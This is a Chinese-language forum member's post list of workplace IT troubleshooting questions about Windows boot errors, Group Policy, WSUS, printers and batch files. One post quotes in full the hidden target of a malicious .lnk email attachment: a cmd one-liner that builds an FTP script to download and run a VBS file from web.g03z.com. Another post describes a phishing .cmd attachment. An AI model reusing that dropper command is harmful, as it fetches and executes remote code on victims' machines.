顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


主題 - emillala

頁: [1] 2
1
Windows 討論版 / lsass.exe -操作失敗
« 於: 2010-10-29 15:32 »
上禮拜公司跳電後某台電腦開機會出現藍幕
0x000000ea
看了一下顯卡爆容就換了個二手同型號的顯卡的上去

但開機windows logo讀完後 卻出現全黑底error


鍵盤及滑鼠都無法動作,上網查了兩天,幾乎沒有這個訊息解答
eset掃過了,金山毒霸掃過了,dr.web live掃過了,chkdsk做過了,甚至連system32底下的lsass.exe都用別台電腦的取代試試看了..但依舊無法解決...

請問有人處理過此種情況嗎!!??

(因為這台電腦有與機台連線的程式及server,有問題須用到國外原廠工程師處理,所以才傾向不重灌處理)

2
Windows 討論版 / outlook express 無法傳送回條
« 於: 2010-08-24 17:28 »
目前的情況是這樣..

在outlook express裡的收件匣點到需要回條的信件
一般都會出現是否傳送的message..但現在出現的卻是


選項->回條 裡有關傳回讀取回條和下方安全回條的選項,我試過勾選各種組合依然無效..

搜尋引擎google yahoo...等,都找不到此情形的解法..
請問有人知道如何解決嗎??


3
Computer 討論版 / 不斷重開機的硬碟..
« 於: 2009-09-28 11:20 »
目前手邊有一顆會不斷重開機的硬碟

通常在出現Windows logo後就會重開機

進入安全模式也會重開機

用外接式殼經由usb接到別台電腦也會重開機

用排線直接接到別台電腦也是重開機

已經完全不知道怎麼處理了

只想把裡面資料拷出來

硬體放棄就算了

但一直重開機根本看不到裡面的資料呀.....

請問這種情形有何方法可制??


4
我有一個網頁放在iis的網站底下

然後寫連結去開啟網芳的分享資料夾

但是開啟後會變成


而不是


試過放在同一目錄連結寫tg_open/5000

或是上層目錄../tg_5000

還是寫完整路徑http://domain/tg_open/5000

都是一樣的情況

請問這連結該怎麼改??

5
Windows 討論版 / 另存新檔變很慢!!!??
« 於: 2009-04-27 20:17 »
今天公司至少4台電腦(因為目前只知四台)

1.開啟文件另存新檔

2.msn收檔時按另存

3.寄mail時按附加檔案

都會呈現程式沒有回應的狀態,工作管理員也是這樣顯示

然後根據各電腦的執行速度,少則3分鐘,多則5-10分鐘

才出現選擇檔案的視窗



如果只是單一電腦我還可以解釋為該電腦的資源被吃掉

但很多台電腦都在今天發生我就不知該如何解釋了

且這些電腦在工作管理員效能的部份,都顯示使用率正常

有前輩知道這是怎麼回事嗎= =?

6
系統安全討論版 / *.lnk偽裝檔
« 於: 2009-03-18 10:23 »
前些日子我們董事長在泰國時,他的yahoo  mail寄了封mail給一些幹部和別間公司老闆(應該是直接由通訊錄名單發送)..

以上是前言

這封mail有一附加檔案為"預防帳號盜用.lnk"


我本來以為這是誘使user執行後連結到某網頁致使其產生不良結果

但按右鍵內容一看發現,本應寫上路徑的目標那欄,寫了下面內容..

%windir%\system32\cmd.exe /c echo o web.g03z.com>l&echo aa33>>l&echo bb33>>l&echo set s=echo ge>s.bat&echo set f=t>>s.bat&echo %s%t pnf pnf.vbs^>^>l>>s.bat&echo echo bye^>^>l>>s.bat&echo f%f%p -s:l>>s.bat&call s.bat&start pnf.vbs&del l s.bat&




哇...這根本不是*.lnk該有的作用,已經像是批次檔了

我是第一次看見把*.lnk當成*.bat或*.cmd的檔案在用

真是無所不用其極呀 = =



剛剛發現,當我把它加入壓縮檔後,會變成cmd.exe.........




http://www.badongo.com/cn/file/13925908--->附件內容供參考

7
Windows 討論版 / Office發生的問題
« 於: 2008-12-18 18:05 »
有一台pc,無論開啟word或excel都會出現

編譯錯誤發生於此隱藏模組:AutoExecNew

而且只要開啟舊檔或是另存新檔就會當掉



1.已移除後重新安裝過office

2此情形只出現在user帳號(user權限),administrator帳號(系統預設administrator帳號)下開啟則無此問題

3.將user帳號提升為administrator權限,錯誤依然發生


請問,有啥解決方法嗎??

8
公司網域內PC的IP都是用AD DHCP根據PC MAC發放的(192.168.1.x)

本來都很正常

但某天某台PC開機抓到的IP變成
169.254.x.x
255.255..0.0

重開機一樣


如果手動指定ip 
192.168.1.x
255.255.255.0

它會ping不到 網域內192.168.1.x的其他電腦
也ping不到168.95.1.1

重開機沒用
換網卡沒用
連AD我都重開過了

但還是無解
請問這是情形有解嗎??

9
Computer 討論版 / USB鍵鼠使用PS/2接頭
« 於: 2008-10-28 16:52 »
因為公司的KVM都是PS/2接頭

而我本身使用的無線鍵鼠組只由一個usb無線接收器控制
http://www.mobile01.com/topicdetail.php?f=351&t=224314&p=1&cache=0

我到各店面及google搜尋

都只看到ps/2(母)*2->usb(公)
http://store.pchome.com.tw/dashop/M00181418.htm

而因為是一個usb無線接收器同時控制滑鼠和鍵盤

所以也不能用最簡單的轉接頭
http://goods.ruten.com.tw/item/show?11080822845965

想請問各位..到底有沒有usb(母)->ps/2(公)*2的轉接線??

10
肉腳版 / 關於VNC
« 於: 2008-09-17 15:15 »
在公司習慣用VNC+mstsc來幫USER處理問題

但長久以來一直有一些小問題沒辦法解決

1.有些client端登出後vnc連線也跟著中斷...但有的client端連線卻不會中斷(可以讓我切換使用者)

2.明明都是一樣的設定..但是有的client會開機自動執行vnc server有的卻不會(我都還要把捷徑拖到啟動)

我目前使用UltraVNC_1.0.4_RC14_Setup

11
肉腳版 / 批次檔內容輸出
« 於: 2008-08-26 16:01 »
ex:
echo 20080826 >> "%userprofile%\桌面"\tset.txt
就可以再桌面產生一個檔名為test內容為20080826的txt文字檔

想請問的是....有沒有辦法把執行內容也像這樣一般輸出成txt檔

可否把如同下面畫面一般執行某指令的內容輸出成txt檔??

12
今天公司某課長收到一封mail...標題是"誰給的東西"

發信來源是另一位課長的yahoo信箱

這封mail內含有兩個附加檔案

1.誰個的東西.rar
2.誰給的東西.cmd

.cmd被NOD32攔截的訊息如下
寄件人:=?big5?B?rEyp+iCk6A==?= <****@yahoo.com.tw>  收件人:****@topointech.com.tw  主題 誰給的東西  日期 Sun, 17 Aug 2008 16:27:02 +0800 (CST)    可能是 Win32/Statik 應用程式 的一個變種   包含已受感染的檔案      

有跟寄件者確認過...他說他的yahoo mail帳號被盜所以已經很久沒用了

我進去確認過被盜的信箱

寄件備份裡的附加檔案有一個看起來是.zip但實際上是.cmd的檔案


這時...我比較納悶的是開頭提到收件者附件的第一個壓縮檔

壓縮檔內容是該收件人電腦內的一些機密檔案

不過就算是病毒mail想要偽裝讓收信人執行病毒檔.cmd可是要如何能讓收信人收到自己電腦內機密資料的壓縮檔

老實說這招還蠻高明的...通常收信人一驚慌(內含機密檔案)就有可能真的執行了

http://www.topspeedtool.com.tw/images/emil/viris_0818.txt--->收件者郵件內容原始檔

13
一般我在壹台PC上新增網域帳號時(沒特別設定的話都是USER權限)

我都會先將該帳號加入本機的ADMIN群組

將一些應用程式載入..整理開始功能表後

再將該帳號從本機的ADMIN群組刪除

一直都沒啥問題




但上禮拜我一樣如上述的方式在PC上新增網域帳號

改回USER權限登入後

GPO卻無法套用

為了確認..我又將該帳號加入本機的ADMIN群組登入

GPO又可以套用

之後再將該帳號從本機ADMIN群組刪除後登入..GPO依然沒被套用




沒遇過這種奇怪的狀況

也google不出啥結果


請問有前輩有過這問題的處理經驗可以分享嗎??



P.S.從AD的紀錄上可以看到該帳號登出入的紀錄
P.P.S該帳號加入本機power user群組也無法套用GPO

*************************************************
*************************************************

秉著死馬當活馬醫的心情

我把該帳號profile內的東西都拷貝備份

使用admin帳號進入..然後刪除Documents and Settings/該帳號profile

登出admin後再使用該帳號登入...重建profile

嗯....這次有套用到gpo了

最後將原本備份profile裡的東西拷貝回新建的profile

嗯...到這裡其實問題已經解決了




可是我還是不知道當初問題發生的原因(真的很想知道= =)

還是等有前輩來解答吧!!!!!

14
系統安全討論版 / NOD32最近更新的問題
« 於: 2008-07-31 10:15 »
不知道有沒有人公司使用NOD32 企業版

自從颱風假過後..公司的NOD32就無法更新了


打給台灣二版..他們說是NOD32原廠的更新出問題..正在處理

直到今天..依然無法更新

我試著把一些PC更新改成自動選擇

發現NOD32 2.7可以更新(上圖的第一筆)...但NOD32 3.0卻都無法更新(會說你的已經是最新版本)



而我對本機掃毒時..


卻出現updfiles裡有檔案中毒了(其實我也不確定是不是誤判)

掃瞄了兩台PC都是一樣的情況

有大大公司NOD32 企業版是一樣的情況嗎??

15
就在一小時前

公司網路的流量突然暴增

PING值最高可以到達19XXms...平均500ms~900ms不等

查了一下網路流向

發現有好幾個公司的ip都有連結207.46.27.253/254的7001port

上網google了一下..207.46.0.0~207.46.255.255都是美國華盛頓州Bellevue的Microsoft Corp

7001Port也是msn會走的port

但是為啥會讓公司流量暴增到那麼誇張呀(公司6x台電腦連向該位置的不到5台)

有人有遇過嗎??

16
Windows 討論版 / 開機指令碼
« 於: 2008-07-02 14:56 »
我在gpo-->使用者設定-->指令碼-->登入

指定了一個bat檔用來登入某些資料夾..內容如下
net use \\pc1\ipc$ "11" /user:"aa"
net use \\pc2\ipc$ "33" /user:"bb"
net use \\pc3\ipc$ "22" /user:"cc"

開機時會被執行..

但是有時只執行兩行...

又有時執行三行..

請教各位前輩...這種情況是為啥會造成呀= =?

(此bat檔如果是直接執行..登入三台都完全沒問題..只有在開機指令碼登入時才會有上訴現象)

17
肉腳版 / 批次檔的log
« 於: 2008-06-26 15:17 »
因為有好幾台電腦需要執行同樣的批次檔

所以希望能把有執行的寫入txt自動存到同一個資料夾

但是檔名就是問題了

我所知道的是例如

data=2008-06-26
echo %date%%time%執行成功 > \\a\d\date.txt

在網芳中名稱為a電腦的d槽下就會產生一個名為date.txt的txt檔

內容為"2008/06/26 星期四15:11:51.62執行成功 "

曾經試過把date.txt改成%hostname%.txt

但結果是產生沒檔名的txt檔

請問...有沒有辦法同一個批次檔卻可以讓不同電腦存成不同的檔名呢??


18
Windows 討論版 / WSUS與SVCHOST.EXE
« 於: 2008-06-25 10:36 »
最近在測試WSUS 3.0

把排定的安裝日期時間設成每日中午12點...偵測更新頻率設為每四小時

但是每次只要到設定的偵測更新時間..svchost.exe的cpu使用率就會暴增到100%
(開機時自動跑wuauclt.exe時也會)

上網查了許多資料..大多都是無架設wsus下發生的情況(直接對m$更新)

我這之前沒有架設wsus時似乎反而沒有這個問題

有前輩知道這樣的問題要如何處理嗎??

P.S.我把
REGSVR32 WUAPI.DLL
REGSVR32 WUAUENG.DLL
REGSVR32 WUAUENG1.DLL
REGSVR32 ATL.DLL
REGSVR32 WUCLTUI.DLL
REGSVR32 WUPS.DLL
REGSVR32 WUPS2.DLL
REGSVR32 WUWEB.DLL
寫成批次檔...在SVCHOST暴增使用率時讓這些DLL重跑可以馬上解決
但似乎不是長久之計


19
今天在使用廠商機台附的電腦時

發現在單機的狀態..無網路連線無網域

但是不同的user登入..卻出現不同的使用者介面

ex:user權限登入..
1.桌面全空且鎖右鍵
2.開始功能表只剩"關機"
3.工作列鎖右鍵
但是admin登入就功能全ok

想請問..在單機的情況下..可以有不同的群組原則嗎??

還是它用什麼方式達成如此的結果??

20
Computer 討論版 / windows的黑畫面
« 於: 2008-06-17 10:57 »
今天公司有一台電腦出現的情形如下

一開始是它在開機的情況下的螢幕突然變黑(螢幕燈是綠色的)

重開機後bios-->windows歡迎畫面..都有畫面

但是當歡迎畫面一結束..理當開始登入windows時

畫面就是一片黑(螢幕燈是綠色的)

我嚐試從安全模式進入

但選擇安全話模式後依然是黑螢幕不過畫面左上角有游標閃爍(至少10分鐘都停在這裡)

看來安全模式還是進不去

我有想過是不是顯卡的問題

但手邊目前沒有顯卡可測


想請問有人遇過這種情況嗎??

有沒有啥排除方式??

感謝!!

21
Windows 討論版 / 請問一個GPO的問題
« 於: 2008-06-12 18:03 »
一般而言..網域的GPO>OU的GPO

但是如果某項原則在網域的GPO未設定但OU的GPO有設定

則此項原則應該要被套用

以上是我所了解的規則...不知道有沒有誤!!??


我目前遇到的問題如下舉例

網域的GPO-不要顯示上次登入的使用者名稱=尚未設定
                      -終止休眠/暫停狀態並恢復執行時必須輸入密碼=尚未設定
                      -螢幕保護裝置加上密碼保護=尚未設定

OU1的GPO-不要顯示上次登入的使用者名稱=啟用
                       -終止休眠/暫停狀態並恢復執行時必須輸入密碼=啟用
                       -螢幕保護裝置加上密碼保護=啟用


在這三項舉例的原則當中

"不要顯示上次登入的使用者名稱"並沒有被套用成功

而另外兩項是套用成功的

有前輩可以幫沒解答嗎= =?

22
最近在公司的Server 2003上架了列印管理與WSUS

但卻遇到幾個問題

1.我把一台印表機調配在共用OU..其他的根據使用性調配在各部門的OU上
在Server端可以看到調配的印表機共三台..也可以看到被加入在各印表機內的OU
另外在各部門的GPO上也可以看到調配的印表機
但在Client端卻只會出現共用的印表機...各部門使用的卻不會出現??








2.列印管理設好後..他會自動加入某台電腦的印表機
(列印管理配給它..然後又被加入進列印管理...所以Server有兩台同名的印表機..但位置不一樣)
(該台印表機Client端並沒有開共用)
並發布在所有的Client上..
該印表機在Server端刪掉後..不久又會被加入..找不出什麼原因??









3.公司有一些電腦是24小時不關機的...因為是共用所以只被用來打單及查詢
想問有沒有辦法讓該Client端除了自動下載WSUS的更新外還自動安裝??


還請賜教......Orz

23
Windows 討論版 / AD與網芳
« 於: 2008-05-20 14:23 »
公司是以一台nt4.0當成file server

每個部門各自有一個帳號

可以對該server分享出來的資料夾定義使用權限

之前都是把帳號密碼儲存在控制台-->使用者帳戶的-->密碼與.NET Passport裡

使用者直接點資料夾連線即可







但最近把user加入ad後卻出現問題

如果權限是Domain admin或是將Domain User加入本機Administrator

只要第一次連線file server時輸入帳號密碼...勾取儲存後...以後一樣可以點資料夾連線





但如果權限是Domain user..點選file server的資料夾時...連輸入帳號密碼的訊息都不會出現

只出現err說"無法存取 您可能沒有使用這個網路資源的權限  找不到帳號"




請問Domain user該怎麼連線?? :'(

24
肉腳版 / 關於虛擬退庫
« 於: 2008-04-01 17:03 »
最近在跟管理部門討論盤點時的系統支援

聽到一個名詞~"虛擬退庫"

可是我在GOOGLE上都找不到解釋

請問有大大可以幫忙講解一下嗎??

25
Computer 討論版 / mbx2eml(Thunderbird轉Outlook)
« 於: 2008-02-18 18:51 »
今天公司內有位經理說他Thunderbird用不慣...想轉回使用outlook

於是我就東查西查發現了mbx2eml這個程式

我寫了個批次檔

****
@echo off
cd c:\mbx2e068_en
mbx2eml C:\Documents and Settings\使用者名稱\Application Data\Thunderbird\Profiles\eed003b9.default\Mail\mail帳號名 *.* c:\temp\  /n /p

pause(加這段是因為常常一閃就過...根本不知道有沒有執行)
****

可是執行後卻像是直接執行pause一般...畫面中只出現"請按任意鍵繼續.."

完全沒有把檔案轉成eml檔到我指定的目錄

有人有用過這軟體...且轉檔成功的嗎??

請賜教...我到底問題出在哪??

26
Windows 討論版 / 關於正版Windows/Office Licenses
« 於: 2008-01-16 11:05 »
小弟的公司約有60+台pc

但擁有的正版Licenses只有20+(幾乎都隨機版)

目前想要買大量授權的Licenses

想請教...買了大量授權後...

1.直接更改沒有正版PC的Licenses

2.重灌無正版Licenses的PC

3.都不用處理...如果BSA來查....反正有購買正版的序號證明

已上做法哪種正確!!??

另外小弟想了解...假設電腦原先是PC廠商灌好的OEM版權軟體...可以更改為大量授權序號嗎??

27
Network 討論版 / 關於內地的連線
« 於: 2007-12-30 23:57 »
小弟公司最近要至昆山設辦公室

想請問

如果網域要使用.tw

可以怎麼做??

目前台北公司有一台mail server...



P.S.如果軟硬體維護要外包給當地...有大大有崑山當地IT外包的經驗嗎??

28
Network 討論版 / 網頁的亂碼
« 於: 2007-06-22 10:34 »
最近常常在網頁的左上角出現1^LIBraBBGvB8i~Y*q~UU?開頭的亂碼

連msn下方的廣告也會出現

且有很多網頁開打後都會變成整頁亂碼(之前連來酷學園都是整頁亂碼)(整頁亂哪的開頭一定是1^LIBraBBGvB8i~Y*q~UU?)

上網查...資訊少的可憐...連發問的都幾乎沒有

有一篇討論...但是是資安論壇公家資安人員專用版....我也看不到

此前情況連我新安裝的電腦都會

有時剛裝好一台...沒多久也是開網頁就會有亂碼

不知道有人有遇過嗎??

29
Network 討論版 / 用dos指令執行遠端檔案
« 於: 2007-02-10 11:00 »
taskkill /s 192.168.1.220 /u id /p pwd /f /im 程式名 /t

假設我使用taskkill指令  配合對方ip id pwd可以在關閉該台電腦處理程序中的某程式

我有沒有辦法讓它執行回來(ex:該檔案在c:\)

我用google找遍了文章都找不到執行方式

最多是用遠端的程式執行在本機上

沒辦法執行在遠端

有知道的還請賜教^ ^"

30
昨天卡巴斯基顯示wininet.dll 中毒,沒注意把它刪掉後,卻出現"無法定位程序輸入點 SHRegGetValuew 於動態鏈接庫 SHLWAPI . dll "的error訊息

內網可以連結,外網也ping的到,但使用ie就是無法正常開啟網頁

想重灌ie也會出現錯誤訊息"無法定位程序輸入點 SHRegGetValuew 於動態鏈接庫 SHLWAPI.dll(ie6wzd.exe) "

使用firebox是可以開啟網頁,但某些銀行的網頁還是無法登入

請問有沒有方法可以解決!!??

感謝︿ ︿

頁: [1] 2